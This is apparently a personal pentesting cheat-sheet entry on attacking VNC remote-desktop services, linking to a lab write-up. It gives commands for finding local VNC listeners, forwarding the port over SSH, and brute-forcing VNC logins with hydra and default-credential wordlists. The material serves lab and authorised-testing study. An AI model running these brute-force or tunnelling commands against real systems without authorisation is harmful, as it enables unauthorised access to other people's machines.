VNC (5900,5901)

https://hackviser.com/tactics/pentesting/services/vnc
https://rouvin.gitbook.io/ibreakstuff/writeups/proving-grounds-practice/linux/nukem

VNC (Virtual Network Computing) is a graphical desktop-sharing system that allows users to remotely control another computer's desktop over a network connection. It is widely used for remote administration, support, and screen sharing.

VNC operates on a client-server architecture, where the VNC server runs on the remote computer and the VNC client software is used to access and interact with the remote desktop.

You'll likely see this on Linux if any kind of remote desktop access is present.

Enumeration

Check for a running local instance, port forwarding to it will allow for remote access via VNC.

ss -ntplu

ssh -L 5901:localhost:5901 user@IP

Bruteforcing

hydra -L users.txt -P pass.txt vnc://[target]

Combination pair

hydra -C SecLists/Passwords/Default-Credentials/vnc-betterdefaultpasslist.txt 192.168.207.183 vnc